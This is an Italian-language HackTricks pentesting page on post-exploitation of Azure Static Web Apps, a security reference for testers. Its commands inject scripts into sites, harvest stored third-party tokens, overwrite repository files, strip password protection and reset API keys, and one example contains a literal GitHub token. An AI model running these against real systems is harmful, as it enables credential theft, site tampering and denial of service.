Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md

7.8 KiB
Raw Blame History

Az - Static Web Apps Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Azure Static Web Apps

Per ulteriori informazioni su questo servizio, controlla:

{{#ref}} ../az-services/az-static-web-apps.md {{#endref}}

Microsoft.Web/staticSites/snippets/write

È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3).

Il seguente comando crea uno snippet che sarà sempre caricato dall'app web::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Leggi le credenziali di terze parti configurate

Come spiegato nella sezione App Service:

{{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}}

Eseguendo il seguente comando è possibile leggere le credenziali di terze parti configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.

Ecco alcuni esempi di comandi per controllare i token:

# GitHub  List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket  List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox  List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive  List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Sovrascrivere file - Sovrascrivere percorsi, HTML, JS...

È possibile sovrascrivere un file all'interno del repository Github contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.

Questo può essere sfruttato dagli attaccanti per cambiare il contenuto dell'app web per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per reindirizzare determinati percorsi ai propri server sovrascrivendo il file staticwebapp.config.json.

Warning

Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github.

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Con questo permesso, è possibile modificare la password che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente:

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'

# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Questo permesso consente di ottenere il token di distribuzione della chiave API per l'app statica.

Questo token consente di distribuire l'app.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando come funziona Github Action https://github.com/Azure/static-web-apps-deploy, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro.

  1. Scarica il repo https://github.com/staticwebdev/react-basic (o qualsiasi altro repo che desideri distribuire) ed esegui cd react-basic.
  2. Modifica il codice che desideri distribuire
  3. Distribuiscilo eseguendo (Ricorda di cambiare il <api-token>):
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Microsoft.Web/staticSites/write

Con questo permesso è possibile cambiare la sorgente dell'app web statica in un diverso repository Github, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata).

az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

Microsoft.Web/staticSites/resetapikey/action

Con questo permesso è possibile reimpostare la chiave API dell'app web statica, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

{{#include ../../../banners/hacktricks-training.md}}